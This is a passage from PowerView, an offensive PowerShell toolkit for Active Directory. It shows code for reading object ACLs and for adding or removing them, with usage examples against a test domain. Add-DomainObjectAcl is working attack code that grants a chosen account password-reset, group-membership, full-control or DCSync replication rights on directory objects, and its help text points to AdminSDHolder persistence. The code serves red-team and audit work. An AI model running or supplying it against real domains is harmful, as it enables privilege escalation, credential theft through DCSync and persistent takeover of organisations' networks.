   8135         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   8136         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   8137         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   8138         $Searcher = Get-DomainSearcher @SearcherArguments
   8139 
   8140         $DomainGUIDMapArguments = @{}
   8141         if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
   8142         if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
   8143         if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
   8144         if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
   8145         if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
   8146 
   8147         # get a GUID -> name mapping
   8148         if ($PSBoundParameters['ResolveGUIDs']) {
   8149             $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
   8150         }
   8151     }
   8152 
   8153     PROCESS {
   8154         if ($Searcher) {
   8155             $IdentityFilter = ''
   8156             $Filter = ''
   8157             $Identity | Where-Object {$_} | ForEach-Object {
   8158                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
   8159                 if ($IdentityInstance -match '^S-1-.*') {
   8160                     $IdentityFilter += "(objectsid=$IdentityInstance)"
   8161                 }
   8162                 elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
   8163                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
   8164                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
   8165                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
   8166                         #   and rebuild the domain searcher
   8167                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   8168                         Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
   8169                         $SearcherArguments['Domain'] = $IdentityDomain
   8170                         $Searcher = Get-DomainSearcher @SearcherArguments
   8171                         if (-not $Searcher) {
   8172                             Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
   8173                         }
   8174                     }
   8175                 }
   8176                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
   8177                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
   8178                     $IdentityFilter += "(objectguid=$GuidByteString)"
   8179                 }
   8180                 elseif ($IdentityInstance.Contains('.')) {
   8181                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
   8182                 }
   8183                 else {
   8184                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
   8185                 }
   8186             }
   8187             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
   8188                 $Filter += "(|$IdentityFilter)"
   8189             }
   8190 
   8191             if ($PSBoundParameters['LDAPFilter']) {
   8192                 Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
   8193                 $Filter += "$LDAPFilter"
   8194             }
   8195 
   8196             if ($Filter) {
   8197                 $Searcher.filter = "(&$Filter)"
   8198             }
   8199             Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)"
   8200 
   8201             $Results = $Searcher.FindAll()
   8202             $Results | Where-Object {$_} | ForEach-Object {
   8203                 $Object = $_.Properties
   8204 
   8205                 if ($Object.objectsid -and $Object.objectsid[0]) {
   8206                     $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
   8207                 }
   8208                 else {
   8209                     $ObjectSid = $Null
   8210                 }
   8211 
   8212                 try {
   8213                     New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
   8214                         if ($PSBoundParameters['RightsFilter']) {
   8215                             $GuidFilter = Switch ($RightsFilter) {
   8216                                 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
   8217                                 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
   8218                                 Default { '00000000-0000-0000-0000-000000000000' }
   8219                             }
   8220                             if ($_.ObjectType -eq $GuidFilter) {
   8221                                 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
   8222                                 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
   8223                                 $Continue = $True
   8224                             }
   8225                         }
   8226                         else {
   8227                             $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
   8228                             $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
   8229                             $Continue = $True
   8230                         }
   8231 
   8232                         if ($Continue) {
   8233                             $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
   8234                             if ($GUIDs) {
   8235                                 # if we're resolving GUIDs, map them them to the resolved hash table
   8236                                 $AclProperties = @{}
   8237                                 $_.psobject.properties | ForEach-Object {
   8238                                     if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
   8239                                         try {
   8240                                             $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
   8241                                         }
   8242                                         catch {
   8243                                             $AclProperties[$_.Name] = $_.Value
   8244                                         }
   8245                                     }
   8246                                     else {
   8247                                         $AclProperties[$_.Name] = $_.Value
   8248                                     }
   8249                                 }
   8250                                 $OutObject = New-Object -TypeName PSObject -Property $AclProperties
   8251                                 $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
   8252                                 $OutObject
   8253                             }
   8254                             else {
   8255                                 $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
   8256                                 $_
   8257                             }
   8258                         }
   8259                     }
   8260                 }
   8261                 catch {
   8262                     Write-Verbose "[Get-DomainObjectAcl] Error: $_"
   8263                 }
   8264             }
   8265         }
   8266     }
   8267 }
   8268 
   8269 
   8270 function Add-DomainObjectAcl {
   8271 <#
   8272 .SYNOPSIS
   8273 
   8274 Adds an ACL for a specific active directory object.
   8275 
   8276 AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
   8277 
   8278 Author: Will Schroeder (@harmj0y)  
   8279 License: BSD 3-Clause  
   8280 Required Dependencies: Get-DomainObject  
   8281 
   8282 .DESCRIPTION
   8283 
   8284 This function modifies the ACL/ACE entries for a given Active Directory
   8285 target object specified by -TargetIdentity. Available -Rights are
   8286 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
   8287 rights GUID can be set with -RightsGUID. These rights are granted on the target
   8288 object for the specified -PrincipalIdentity.
   8289 
   8290 .PARAMETER TargetIdentity
   8291 
   8292 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   8293 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   8294 for the domain object to modify ACLs for. Required. Wildcards accepted.
   8295 
   8296 .PARAMETER TargetDomain
   8297 
   8298 Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
   8299 
   8300 .PARAMETER TargetLDAPFilter
   8301 
   8302 Specifies an LDAP query string that is used to filter Active Directory object targets.
   8303 
   8304 .PARAMETER TargetSearchBase
   8305 
   8306 The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   8307 Useful for OU queries.
   8308 
   8309 .PARAMETER PrincipalIdentity
   8310 
   8311 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   8312 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   8313 for the domain principal to add for the ACL. Required. Wildcards accepted.
   8314 
   8315 .PARAMETER PrincipalDomain
   8316 
   8317 Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
   8318 
   8319 .PARAMETER Server
   8320 
   8321 Specifies an Active Directory server (domain controller) to bind to.
   8322 
   8323 .PARAMETER SearchScope
   8324 
   8325 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   8326 
   8327 .PARAMETER ResultPageSize
   8328 
   8329 Specifies the PageSize to set for the LDAP searcher object.
   8330 
   8331 .PARAMETER ServerTimeLimit
   8332 
   8333 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   8334 
   8335 .PARAMETER Tombstone
   8336 
   8337 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   8338 
   8339 .PARAMETER Credential
   8340 
   8341 A [Management.Automation.PSCredential] object of alternate credentials
   8342 for connection to the target domain.
   8343 
   8344 .PARAMETER Rights
   8345 
   8346 Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
   8347 Defaults to 'All'.
   8348 
   8349 .PARAMETER RightsGUID
   8350 
   8351 Manual GUID representing the right to add to the target.
   8352 
   8353 .EXAMPLE
   8354 
   8355 $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
   8356 Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
   8357 
   8358 ...
   8359 
   8360 Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
   8361 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   8362 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
   8363 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   8364 VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
   8365 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
   8366 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
   8367 
   8368 Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
   8369 
   8370 AceQualifier           : AccessAllowed
   8371 ObjectDN               : CN=dfm (admin),CN=Users,DC=testlab,DC=local
   8372 ActiveDirectoryRights  : ExtendedRight
   8373 ObjectAceType          : User-Force-Change-Password
   8374 ObjectSID              : S-1-5-21-890171859-3433809279-3366196753-1114
   8375 InheritanceFlags       : None
   8376 BinaryLength           : 56
   8377 AceType                : AccessAllowedObject
   8378 ObjectAceFlags         : ObjectAceTypePresent
   8379 IsCallback             : False
   8380 PropagationFlags       : None
   8381 SecurityIdentifier     : S-1-5-21-890171859-3433809279-3366196753-1108
   8382 AccessMask             : 256
   8383 AuditFlags             : None
   8384 IsInherited            : False
   8385 AceFlags               : None
   8386 InheritedObjectAceType : All
   8387 OpaqueLength           : 0
   8388 
   8389 .EXAMPLE
   8390 
   8391 $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
   8392 Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
   8393 
   8394 [no results returned]
   8395 
   8396 $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
   8397 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   8398 Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
   8399 VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
   8400 VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
   8401 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   8402 VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
   8403 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
   8404 VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
   8405 VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
   8406 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   8407 VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
   8408 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
   8409 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
   8410 VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
   8411 
   8412 Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
   8413 
   8414 AceQualifier           : AccessAllowed
   8415 ObjectDN               : CN=dfm (admin),CN=Users,DC=testlab,DC=local
   8416 ActiveDirectoryRights  : ExtendedRight
   8417 ObjectAceType          : User-Force-Change-Password
   8418 ObjectSID              : S-1-5-21-890171859-3433809279-3366196753-1114
   8419 InheritanceFlags       : None
   8420 BinaryLength           : 56
   8421 AceType                : AccessAllowedObject
   8422 ObjectAceFlags         : ObjectAceTypePresent
   8423 IsCallback             : False
   8424 PropagationFlags       : None
   8425 SecurityIdentifier     : S-1-5-21-890171859-3433809279-3366196753-1108
   8426 AccessMask             : 256
   8427 AuditFlags             : None
   8428 IsInherited            : False
   8429 AceFlags               : None
   8430 InheritedObjectAceType : All
   8431 OpaqueLength           : 0
   8432 
   8433 .LINK
   8434 
   8435 https://adsecurity.org/?p=1906
   8436 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
   8437 #>
   8438 
   8439     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   8440     [CmdletBinding()]
   8441     Param (
   8442         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   8443         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
   8444         [String[]]
   8445         $TargetIdentity,
   8446 
   8447         [ValidateNotNullOrEmpty()]
   8448         [String]
   8449         $TargetDomain,
   8450 
   8451         [ValidateNotNullOrEmpty()]
   8452         [Alias('Filter')]
   8453         [String]
   8454         $TargetLDAPFilter,
   8455 
   8456         [ValidateNotNullOrEmpty()]
   8457         [String]
   8458         $TargetSearchBase,
   8459 
   8460         [Parameter(Mandatory = $True)]
   8461         [ValidateNotNullOrEmpty()]
   8462         [String[]]
   8463         $PrincipalIdentity,
   8464 
   8465         [ValidateNotNullOrEmpty()]
   8466         [String]
   8467         $PrincipalDomain,
   8468 
   8469         [ValidateNotNullOrEmpty()]
   8470         [Alias('DomainController')]
   8471         [String]
   8472         $Server,
   8473 
   8474         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   8475         [String]
   8476         $SearchScope = 'Subtree',
   8477 
   8478         [ValidateRange(1, 10000)]
   8479         [Int]
   8480         $ResultPageSize = 200,
   8481 
   8482         [ValidateRange(1, 10000)]
   8483         [Int]
   8484         $ServerTimeLimit,
   8485 
   8486         [Switch]
   8487         $Tombstone,
   8488 
   8489         [Management.Automation.PSCredential]
   8490         [Management.Automation.CredentialAttribute()]
   8491         $Credential = [Management.Automation.PSCredential]::Empty,
   8492 
   8493         [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
   8494         [String]
   8495         $Rights = 'All',
   8496 
   8497         [Guid]
   8498         $RightsGUID
   8499     )
   8500 
   8501     BEGIN {
   8502         $TargetSearcherArguments = @{
   8503             'Properties' = 'distinguishedname'
   8504             'Raw' = $True
   8505         }
   8506         if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
   8507         if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
   8508         if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
   8509         if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
   8510         if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
   8511         if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
   8512         if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   8513         if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
   8514         if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
   8515 
   8516         $PrincipalSearcherArguments = @{
   8517             'Identity' = $PrincipalIdentity
   8518             'Properties' = 'distinguishedname,objectsid'
   8519         }
   8520         if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
   8521         if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
   8522         if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
   8523         if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
   8524         if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   8525         if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
   8526         if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
   8527         $Principals = Get-DomainObject @PrincipalSearcherArguments
   8528         if (-not $Principals) {
   8529             throw "Unable to resolve principal: $PrincipalIdentity"
   8530         }
   8531     }
   8532 
   8533     PROCESS {
   8534         $TargetSearcherArguments['Identity'] = $TargetIdentity
   8535         $Targets = Get-DomainObject @TargetSearcherArguments
   8536 
   8537         ForEach ($TargetObject in $Targets) {
   8538 
   8539             $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
   8540             $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
   8541             $ACEs = @()
   8542 
   8543             if ($RightsGUID) {
   8544                 $GUIDs = @($RightsGUID)
   8545             }
   8546             else {
   8547                 $GUIDs = Switch ($Rights) {
   8548                     # ResetPassword doesn't need to know the user's current password
   8549                     'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
   8550                     # allows for the modification of group membership
   8551                     'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
   8552                     # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
   8553                     # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
   8554                     # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
   8555                     #   when applied to a domain's ACL, allows for the use of DCSync
   8556                     'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
   8557                 }
   8558             }
   8559 
   8560             ForEach ($PrincipalObject in $Principals) {
   8561                 Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
   8562 
   8563                 try {
   8564                     $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
   8565 
   8566                     if ($GUIDs) {
   8567                         ForEach ($GUID in $GUIDs) {
   8568                             $NewGUID = New-Object Guid $GUID
   8569                             $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
   8570                             $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
   8571                         }
   8572                     }
   8573                     else {
   8574                         # deault to GenericAll rights
   8575                         $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
   8576                         $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
   8577                     }
   8578 
   8579                     # add all the new ACEs to the specified object directory entry
   8580                     ForEach ($ACE in $ACEs) {
   8581                         Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
   8582                         $TargetEntry = $TargetObject.GetDirectoryEntry()
   8583                         $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
   8584                         $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
   8585                         $TargetEntry.PsBase.CommitChanges()
   8586                     }
   8587                 }
   8588                 catch {
   8589                     Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
   8590                 }
   8591             }
   8592         }
   8593     }
   8594 }
   8595 
   8596 
   8597 function Remove-DomainObjectAcl {
   8598 <#
   8599 .SYNOPSIS
   8600 
   8601 Removes an ACL from a specific active directory object.
   8602 
   8603 Author: Will Schroeder (@harmj0y)  
   8604 License: BSD 3-Clause  
   8605 Required Dependencies: Get-DomainObject  
   8606 
   8607 .DESCRIPTION
   8608 
   8609 This function modifies the ACL/ACE entries for a given Active Directory
   8610 target object specified by -TargetIdentity. Available -Rights are
   8611 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
   8612 rights GUID can be set with -RightsGUID. These rights are removed from the target
   8613 object for the specified -PrincipalIdentity.
   8614 
   8615 .PARAMETER TargetIdentity
   8616 
   8617 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   8618 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   8619 for the domain object to modify ACLs for. Required. Wildcards accepted.
   8620 
   8621 .PARAMETER TargetDomain
   8622 
   8623 Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
   8624 
   8625 .PARAMETER TargetLDAPFilter
   8626 
   8627 Specifies an LDAP query string that is used to filter Active Directory object targets.
   8628 
   8629 .PARAMETER TargetSearchBase
   8630 
   8631 The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   8632 Useful for OU queries.
   8633 
   8634 .PARAMETER PrincipalIdentity
   8635 
   8636 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   8637 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   8638 for the domain principal to add for the ACL. Required. Wildcards accepted.
   8639 
   8640 .PARAMETER PrincipalDomain
   8641 
   8642 Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
   8643 
   8644 .PARAMETER Server
   8645 
   8646 Specifies an Active Directory server (domain controller) to bind to.
   8647 
   8648 .PARAMETER SearchScope
   8649 
   8650 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   8651 
   8652 .PARAMETER ResultPageSize
   8653 
   8654 Specifies the PageSize to set for the LDAP searcher object.
   8655 
   8656 .PARAMETER ServerTimeLimit
   8657 
   8658 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   8659 
   8660 .PARAMETER Tombstone
   8661 
   8662 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   8663 
   8664 .PARAMETER Credential
   8665 
   8666 A [Management.Automation.PSCredential] object of alternate credentials
   8667 for connection to the target domain.
   8668 
   8669 .PARAMETER Rights
   8670 
   8671 Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
   8672 Defaults to 'All'.
   8673 
   8674 .PARAMETER RightsGUID
   8675 
   8676 Manual GUID representing the right to add to the target.
   8677 
   8678 .EXAMPLE
   8679 
   8680 $UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
   8681 Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
   8682 
   8683 [no results returned]
   8684 
   8685 Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
   8686 
   8687 Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
   8688 
   8689 AceQualifier           : AccessAllowed
   8690 ObjectDN               : CN=user2,CN=Users,DC=testlab,DC=local
   8691 ActiveDirectoryRights  : ExtendedRight
   8692 ObjectAceType          : User-Force-Change-Password
   8693 ObjectSID              : S-1-5-21-883232822-274137685-4173207997-2105
   8694 InheritanceFlags       : None
   8695 BinaryLength           : 56
   8696 AceType                : AccessAllowedObject
   8697 ObjectAceFlags         : ObjectAceTypePresent
   8698 IsCallback             : False
   8699 PropagationFlags       : None
   8700 SecurityIdentifier     : S-1-5-21-883232822-274137685-4173207997-2104
   8701 AccessMask             : 256
   8702 AuditFlags             : None
   8703 IsInherited            : False
   8704 AceFlags               : None
   8705 InheritedObjectAceType : All
   8706 OpaqueLength           : 0
   8707 
   8708 
   8709 Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
   8710 
   8711 Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
   8712 
   8713 [no results returned]
   8714 
   8715 .LINK
   8716 
   8717 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
   8718 #>
   8719 
   8720     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   8721     [CmdletBinding()]
   8722     Param (
   8723         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   8724         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
   8725         [String[]]
   8726         $TargetIdentity,
   8727 
   8728         [ValidateNotNullOrEmpty()]
   8729         [String]
   8730         $TargetDomain,
   8731 
   8732         [ValidateNotNullOrEmpty()]
   8733         [Alias('Filter')]
   8734         [String]
   8735         $TargetLDAPFilter,
   8736 
   8737         [ValidateNotNullOrEmpty()]
   8738         [String]
   8739         $TargetSearchBase,
   8740 
   8741         [Parameter(Mandatory = $True)]
   8742         [ValidateNotNullOrEmpty()]
   8743         [String[]]
   8744         $PrincipalIdentity,
   8745 
   8746         [ValidateNotNullOrEmpty()]
   8747         [String]
   8748         $PrincipalDomain,
   8749 
   8750         [ValidateNotNullOrEmpty()]
   8751         [Alias('DomainController')]
   8752         [String]
   8753         $Server,
   8754 
   8755         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   8756         [String]
   8757         $SearchScope = 'Subtree',
   8758 
   8759         [ValidateRange(1, 10000)]
   8760         [Int]
   8761         $ResultPageSize = 200,
   8762 
   8763         [ValidateRange(1, 10000)]
   8764         [Int]
   8765         $ServerTimeLimit,
   8766 
   8767         [Switch]
   8768         $Tombstone,
   8769 
   8770         [Management.Automation.PSCredential]
   8771         [Management.Automation.CredentialAttribute()]
   8772         $Credential = [Management.Automation.PSCredential]::Empty,
   8773 
   8774         [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
   8775         [String]
   8776         $Rights = 'All',
   8777 
   8778         [Guid]
   8779         $RightsGUID
   8780     )
   8781 
   8782     BEGIN {
   8783         $TargetSearcherArguments = @{
   8784             'Properties' = 'distinguishedname'
   8785             'Raw' = $True
   8786         }
   8787         if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
   8788         if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
   8789         if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
   8790         if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
   8791         if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
   8792         if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
   8793         if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   8794         if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
   8795         if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
   8796 
   8797         $PrincipalSearcherArguments = @{
   8798             'Identity' = $PrincipalIdentity
